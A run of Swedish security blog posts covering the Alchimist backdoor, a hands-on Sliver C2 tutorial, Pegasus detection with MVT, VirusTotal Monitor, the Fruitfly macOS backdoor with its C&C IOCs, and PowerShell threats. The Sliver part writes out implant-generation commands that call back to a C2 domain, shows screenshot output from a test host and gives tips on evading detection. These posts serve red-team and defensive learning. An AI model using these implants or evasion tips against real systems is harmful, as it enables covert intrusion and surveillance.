Cybersäkerhetsforskare vid Cisco Talos har identifierat ett nytt bakdörrsramverk vid namn Alchimist. Ramverket är skrivet i förenklad kinesiska och har även en malware-modul som fått namnet Insekt. Stöd för operativsystem såsom Windows, Mac och Linux återfinnes.
Insekt är skrivet i programspråket GoLang och exploits har identifierats för Linux Polkit (CVE-2021-4034). Talos skriver även att det finns vissa likheter med ett annat kinesiskt bakdörrsramverk vid namn Manjusaka.
Funktioner som implantatet har:
Kontrollera filstorlekar
Hämta OS-information
Kör godtyckliga kommandon via cmd[.]exe
Uppgradera det nuvarande Insekt-implantatet
Kör godtyckliga kommandon som en annan användare
Sov under tidsperioder som definieras av C2
Börja/sluta ta skärmdumpar
Även så kontrollerar implantet
För Linux så används den hårdkodade katalogen /tmp/Res/ samt ett statiskt TLS-certifikat för kommunikation:
Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.
Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).
Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:
Mutual TLS (mtls)
HTTP/s
DNS
Wireguard
Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.
Installation av Sliver
Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?
curl https://sliver.sh/install|sudo bash
Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.
Installationsvideo:
Och skärmdump för att hamna i kommandoskalet:
Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:
Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:
/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg
Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.
I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.
Skapa ett implantat
Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.
Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.
Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.
För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:
Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:
sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe
sliver >
Tittar vi lite närmare på filen ser den ut enligt följande:
┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep 2 09:04 implants/SHY_AIRSHIP.exe
Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:
sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe
sliver >
Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:
Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.
För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:
Exekvering av implantatet
Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.
Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:
Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:
Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.
Demo:
Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.
Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.
Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:
[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)
Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:
Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:
Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
Det finns ingen inbyggt persistens för implantatet, se följande issue.
Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.
I detta blogginlägg tänkte jag redogöra för en av flera metoder som kan användas för att identifiera spionprogramvaran Pegasus från ökända NSO Group.
Pegasus installeras via en eller flera sårbarheter som utnyttjas främst i iPhones. Och kräver att användaren öppnar en länk, SMS eller liknande. Dessa sårbarheter går under benämningarna Zero-Click, One-Click eller FCP som står för Full Chain with Persistence. Lite beroende på vilken typ av sårbarhet som utnyttjas.
Att vi känner till några av sårbarheterna som utnyttjas av Pegasus är för att Citizen Lab har analyserat mobiltelefonerna hos personer med kopplingar till Bahrain Center for Human Rights. Sårbarheterna åtgärdades i iOS version 14.8 som släpptes igår. Och sårbarheterna har CVE-2021-30860 som är enligt Apple:
Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Samt CVE-2021-30858 som inrapporterats av en anonym person men som återfinnes i Webkit:
Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Detektion
Tyvärr så finns det inget bra sätt att analysera innehållet på en iPhone om den inte är jailbreakad. Jag hoppas på att Apples Endpoint Security som finns till macOS även kommer att komma till iOS.
Har du inte möjlighet att jailbreaka så finns det några andra metoder att använda. Dels kan du via en MDM-lösning forcera ett VPN som gör det möjligt att titta på nätverkstrafik som går till och från en mobiltelefon och dels så kan du analysera backup-filer från iTunes. Även finns det möjlighet att installera en proxy som tittar på all kommunikation samt titta på eventuella loggfiler/krashloggar.
Men för detta blogginlägg tänkte jag testa MVT (Mobile Verification Toolkit) som är ett verktyg som släppts av Amnesty International. Det är ett öppet verktyg som är skrivet i Python och kan ge en fingervisning om en mobiltelefon blivit hackad.
Verktyget MVT hittar du på Github här samt Indicator of Compromise (IOC) hittar du här. Värt att nämna är att MVT även fungerar på Android-baserade mobiltelefoner.
Steg 1 är att skapa en backup av iOS-enheten via iTunes eller Finder. Du kan även skapa en krypterad backup, för mvt kan dekryptera denna med hjälp av ett lösenord:
När vi sedan har en backup så behöver vi eventuellt dekryptera denna först, det kan man göra på följande sätt:
Även finns det mer IOC:er att kontrollera mot, bl.a här. Observera att denna metod först och främst kontollerar om mobiltelefonen kommunicerat med några av de kända ändpunkterna. Huruvida sårbarheten/sårbarheterna lyckats eller ej är svårare att avgöra med denna metodik.
Uppdatering: Erik från Netresec tipsade om denna enkla metod som kan användas. Obs denna kan ge en hel del false positives:
VirusTotal som ägs av Google sedan några år är en bra tjänst för den som vill kontrollera om filer innehåller skadlig kod. Mer än 70 st olika antivirus-motorer söker igenom den fil som du laddar upp till VirusTotal.
Men ett problem för de som utvecklar mjukvara eller operativsystem är att ibland så blir deras filer felaktigt flaggade som skadlig kod. Så därför har VirusTotal släppt en ny tjänst vid namn Monitor som låter mjukvaruutvecklare att ladda upp filer som de utvecklat.
Det finns flertalet fördelar med detta, dels så får utvecklaren och antivirus-leverantören larm om någon av dessa filer ger utslag vid genomsökning. Dels kan jag få en verifikation att filen jag laddade upp ingår eller är en känd mjukvara.
Tidigare har även VirusTotal delat med sig av alla filer som laddats upp men nu kommer dessa filer som laddas upp inom Monitor enbart delas till AV-leverantörer om de flaggas med skadlig kod.
För de utvecklare som har en utvecklingspipeline så finns det även möjlighet att ladda upp filer via ett REST API.
Exempel på hur det kan se ut om du laddar upp en fil till VirusTotal som matchar mjukvara från HP:
Det är företaget Malwarebytes som upptäckt den första skadliga koden till macOS (tidigare Mac OS X). Det är en bakdörr som går under namnet OSX.Backdoor.Quimitchin
Denna skadlig kod har identifierats hos biomedicinska forskningsanläggningar och har troligtvis utvecklas runt 2013-2014. Även så misstänker Malwarebytes att det finns en Windows-version av denna skadlig kod eftersom VirusTotal har identifierat Windows-binärer som pratar med samma C&C-server (Command and Control):
99.153.29.240
eidk.hopto.org
I övrigt använder den skadliga koden de klassiska tricken som att skriva ut en uppstartsfil för exekvering till ~/Library/LaunchAgents/com.client.client.plist
Även skrivs ett antal filer ner till disk som är skrivna i Java samt Perl. Dessa filer innehåller i sin tur kommandon för både Linux och macOS såsom xwd och macOS motsvarighet screencapture.
Nu har även Apple lagt in denna skadlig kod i det inbyggda antivirus-programmet Gatekeeper till macOS. Apple kallar denna skadliga kod för Fruitfly.
Det är i dagsläget oklart hur denna skadliga kod sprids.
Powershell är ett avancerat skript-språk till Windows som funnits i över 10 år där målet är att byta ut klassiska CMD.exe i framtiden (DOS-kommandotolk). Exempelvis så är standardskalet i Windows 10 just PowerShell. PowerShell är också populärt bland Windows-administratörer för dess förmåga att underlätta admin-arbete och har många olika funktioner vilket även gör det populärt för skadlig kod.
Enligt säkerhetsföretaget Symantec så är 95.4% av alla analyserade powershell-skript skadliga och många organisationer saknar förmåga att upptäcka skadliga powershell-skript uppger företaget. Detta för att loggningen är bristfällig i standardkonfigurationen. Att obfuskera och ändra i powershell-skript och således undgå enklare kontroller i form av strängmatchning och checksummor är också trivialt.
Den senaste alfa-versionen av PowerShell som heter version 6 har utökat stöd för loggning och flertalet olika säkerhetshöjande funktioner.
Följande PowerShell-versioner används som standard i Microsofts olika operativsystem:
Det finns PowerShell-skript för nästan allt, från att skapa ett nätverkssniffer eller för läsa ut lösenord. Vissa hot, t.ex. som Trojan.Kotver som försöker att ladda hem och installera PowerShells-ramverk om den inte är installerad på den infekterade datorn. Även så stödjer PowerShell att ladda hem och exekvera kod direkt i minnet vilket kan försvåra forensiska undersökningar.
Exempel på kod som laddar ner och exekverar kod från Pastebin:
Presentationen som jag höll under Internetdagarna 2014 i spåret som OWASP Sweden anordnade hittas nedan. Presentationen handlade om hur skadlig kod stjäl information från system via olika kanaler samt hur denna exfiltration kan upptäckas.
Tyvärr blev formateringen inte helt optimal när presentationen laddades upp till Slideshare.
KPMG Sverige har tillsammans med FireEye placerat ut 14 stycken enheter enligt nedan skiss. Målet är att undersöka hur många riktade attacker dessa organisationer utsätts för samt om någon exfiltration av information genomförs.
Resultatet av studien visar på att 51% av attackerna är okända sedan tidigare samt att hela 79% av organisationerna fick information exfiltrerad.
Totalt identifierades 195 unika binärer med skadlig kod där 52% av dessa ej identifierades som skadlig kod av de 53 antivirus-leverantörerna som användes.
Att riktade attacker blir vanligare och vanligare är så klart något som framhävts under en längre tid men att så pass många organisationer blir utsatta för skadlig kod som ej upptäcks av anti-virus är så klart anmärkningsvärt.